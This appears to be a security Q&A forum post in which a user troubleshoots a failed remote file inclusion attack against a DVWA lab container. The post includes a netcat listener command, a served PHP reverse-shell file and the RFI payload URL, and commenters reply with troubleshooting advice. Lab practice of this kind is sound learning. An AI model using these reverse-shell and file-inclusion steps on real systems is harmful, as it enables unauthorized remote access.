1

I'm running a DVWA container on my kali VM using:
docker run --rm -it -p 80:80 vulnerables/web-dvwa

Network interface details:

  • Kali docker0 int: 172.17.0.1/16
  • Kali eth0 int: 192.168.1.233/24
  • DVWA container int: 172.17.0.2/16

I set up a nc listener on port 1400 using nc -nvlp 1400 and then a local web server on port 8000 using python -m http.server 8000. The web server hosts a file "rev.php" which is a reverse shell script I generated using RevShells, resulting in Shell('172.17.0.1', 1400); here's a link to the full script.

I am able to successfully ping 172.17.0.2 from my VM, and have confirmed that the container has netcat installed. However, when I attempt to spawn a shell by including a link to the file (http://localhost:8000/rev.php) in the file inclusion part of DVWA, no connection is made. To be more exact, when I query the following URL: http://172.17.0.1/vulnerabilities/fi/?page=http://localhost:8000/rev.php, no connection is made.

3
  • This looks like a networking issue, not a security issue. Start your troubleshooting process; confirm that each step is happening, and get packet captures.
    – schroeder
    Jan 24 at 20:22
  • 1
    i might be stating the bleeding obvious here, but how does python interpret the php script? simple http.server will only yield the contents of the php file...
    – brynk
    Jan 24 at 22:55
  • @brynk is totally right. If you are serving the file, then what PHP process actually executes it? Does it get loaded and executed by DVWA? You need to step through each stage and confirm that each is working.
    – schroeder
    Jan 24 at 23:36

0